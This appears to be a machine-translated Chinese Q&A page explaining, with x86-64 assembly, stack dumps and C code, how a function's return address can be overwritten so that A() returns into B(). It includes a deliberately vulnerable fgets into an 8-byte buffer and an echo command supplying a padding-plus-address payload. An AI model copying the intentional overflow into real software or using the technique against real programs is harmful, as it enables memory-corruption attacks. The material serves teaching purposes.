c - 使用 GDB 的缓冲区溢出、堆栈指针操作
问题描述
我在 c 中有一个简单的问题,可以使用 GDB 解决,但我无法解决。
我们有一个 main() 函数,它调用另一个函数,比如 A()。当函数 A() 执行并返回时,它不是返回到 main(),而是转到另一个函数,比如 B()。
我不知道在 A() 中要做什么,这样返回地址就会改变。
解决方案
假设,OP想要强制返回 from A()
toB()
而不是 to main()
fromA()
之前被调用的地方......
我一直相信知道这会如何发生,但我从来没有自己尝试过。所以,我忍不住摆弄了一下。
return 的操作很难移植,因为它利用了生成代码的事实,这些事实可能取决于编译器版本、编译器设置、平台等。
起初,我试图找出一些关于coliru的详细信息,我打算用它们来摆弄:
#include <stdio.h>
int main()
{
printf("sizeof (void*): %d\n", sizeof (void*));
printf("sizeof (void*) == sizeof (void(*)()): %s\n",
sizeof (void*) == sizeof (void(*)()) ? "yes" : "no");
return 0;
}
输出:
gcc (GCC) 8.2.0
Copyright (C) 2018 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
sizeof (void*): 8
sizeof (void*) == sizeof (void(*)()): yes
接下来,我做了一个最小的示例来了解将要生成的代码:
源代码:
#include <stdio.h>
void B()
{
puts("in B()");
}
void A()
{
puts("in A()");
}
int main()
{
puts("call A():");
A();
return 0;
}
x86-64 gcc 8.2
用和编译-O0
:
.LC0:
.string "in B()"
B:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC0
call puts
nop
pop rbp
ret
.LC1:
.string "in A()"
A:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC1
call puts
nop
pop rbp
ret
.LC2:
.string "call A():"
main:
push rbp
mov rbp, rsp
mov edi, OFFSET FLAT:.LC2
call puts
mov eax, 0
call A
mov eax, 0
pop rbp
ret
在英特尔 x86/x64 上:
call
在跳转到给定地址之前将返回地址存储在堆栈中ret
将堆栈中的返回地址弹出到 PC 寄存器中。再次。
(其他 CPU 可能会以不同的方式执行此操作。)
此外,
push rbp
mov rbp, rsp
有趣的是,它也push
将一些东西存储在堆栈上,而rsp
具有当前堆栈顶部地址的寄存器rbp
及其同伴通常用于局部变量的相对寻址。
因此,局部变量(rbp
如果未优化,则相对于其寻址)可能对堆栈上的返回地址具有固定偏移量。
因此,我在第一个示例中添加了一些代码以进行联系:
#include <stdio.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
输出:
&main(): 0x400613, &A(): 0x400553, &B(): 0x400542
call A():
in A()
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00
0x7ffcdedc9760: (+40) 50 06 40 00 00 00 00 00
0x7ffcdedc9768: (+48) 30 48 4a f3 3e 7f 00 00
0x7ffcdedc9770: (+56) 00 00 00 00 00 00 00 00
Live Demo on coliru 这是我从中读到的:
0x7ffcdedc9738: (+ 0) 00 de ad be ef 4a 11 00 # local var. buffer
0x7ffcdedc9740: (+ 8) 38 97 dc de fc 7f 00 00 # local var. pI (with address of buffer)
0x7ffcdedc9748: (+16) 60 97 dc de 14 00 00 00 # local var. i (4 bytes)
0x7ffcdedc9750: (+24) 60 97 dc de fc 7f 00 00 # pushed rbp
0x7ffcdedc9758: (+32) 49 06 40 00 00 00 00 00 # 0x400649 <- Aha!
0x400649
main()
是比( )的地址稍高的地址0x400613
。考虑到main()
在调用A()
this 之前有一些代码是完全合理的。
所以,如果我想操纵返回地址,这必须发生在pI + 32
:
#include <stdio.h>
#include <stdlib.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
exit(0);
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
printf("Possible candidate for ret address: %p\n", *(void**)(pI + 32));
*(void**)(pI + 32) = (byte*)&B;
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
即我将函数的地址B()
作为返回地址“修补”到堆栈中。
输出:
&main(): 0x400696, &A(): 0x4005aa, &B(): 0x400592
call A():
in A()
0x7fffe0eb0858: (+ 0) 00 de ad be ef 4a 11 00
0x7fffe0eb0860: (+ 8) 58 08 eb e0 ff 7f 00 00
0x7fffe0eb0868: (+16) 80 08 eb e0 14 00 00 00
0x7fffe0eb0870: (+24) 80 08 eb e0 ff 7f 00 00
0x7fffe0eb0878: (+32) cc 06 40 00 00 00 00 00
0x7fffe0eb0880: (+40) e0 06 40 00 00 00 00 00
0x7fffe0eb0888: (+48) 30 c8 41 84 42 7f 00 00
0x7fffe0eb0890: (+56) 00 00 00 00 00 00 00 00
Possible candidate for ret address: 0x4006cc
in B()
等等瞧:in B()
。
代替直接分配地址,可以通过将至少 40 char
s 的字符串存储到buffer
(仅 8 char
s 容量)中来实现相同的目的:
#include <stdio.h>
#include <stdlib.h>
typedef unsigned char byte;
void B()
{
puts("in B()");
exit(0);
}
void A()
{
puts("in A()");
char buffer[8] = { 0x00, 0xde, 0xad, 0xbe, 0xef, 0x4a, 0x11, 0x00 };
byte *pI = (byte*)buffer;
// dump some bytes from stack
for (int i = 0; i < 64; ++i) {
if (!(i % 8)) printf("%p: (+%2d)", pI + i, i);
printf(" %02x", pI[i]);
if (i % 8 == 7) putchar('\n');
}
// provoke buffer overflow vulnerability
printf("Input: "); fflush(stdout);
fgets(buffer, 40, stdin); // <- intentionally wrong use
// show result
putchar('\n');
}
int main()
{
printf("&main(): %p, &A(): %p, &B(): %p\n", (void*)&main, (void*)&A, (void*)&B);
puts("call A():");
A();
return 0;
}
编译并执行:
$ gcc -std=c11 -O0 main.c
$ echo -e " \xa2\x06\x40\0\0\0\0\0" | ./a.out
通过键盘输入确切的字节序列可能有点困难。复制/粘贴可能有效。我使用echo
和重定向来保持简单。
输出:
&main(): 0x4007ba, &A(): 0x4006ba, &B(): 0x4006a2
call A():
in A()
0x7ffd1700bac8: (+ 0) 00 de ad be ef 4a 11 00
0x7ffd1700bad0: (+ 8) c8 ba 00 17 fd 7f 00 00
0x7ffd1700bad8: (+16) f0 ba 00 17 14 00 00 00
0x7ffd1700bae0: (+24) f0 ba 00 17 fd 7f 00 00
0x7ffd1700bae8: (+32) f0 07 40 00 00 00 00 00
0x7ffd1700baf0: (+40) 00 08 40 00 00 00 00 00
0x7ffd1700baf8: (+48) 30 48 37 0f 5b 7f 00 00
0x7ffd1700bb00: (+56) 00 00 00 00 00 00 00 00
Input:
in B()
请注意,输入 32 个空格(将返回地址"\xa2\x06\x40\0\0\0\0\0"
与预期的偏移量对齐)“破坏”了A()
存储在此范围内的所有内部结构。这可能会对过程的稳定性产生致命的后果,但最终,它足够完整,可以到达B()
控制台并将其报告给控制台。
推荐阅读
- batch-file - 批处理例程避免退出其他命令
- javascript - Firebase:snapshot.val 不是函数或其返回值不可迭代
- angular - Angular 7选择选项选择执行两次
- dart - 如何使用 dart/flutter 在不同的类上使用变量
- tabs - 如何创建多个终端选项卡并使用 shell 脚本为每个选项卡命名
- android - 在 MVP 模型的构造函数参数中包含 Context 是一种不好的做法吗?
- c# - SignalR Core 中默认对所有集线器进行授权
- python - urlopen中的url.request奇怪的行为python3
- ruby-on-rails - 为什么 ldap 绑定在服务器上失败?
- angular - 管理用户 - Firebase 和 Angular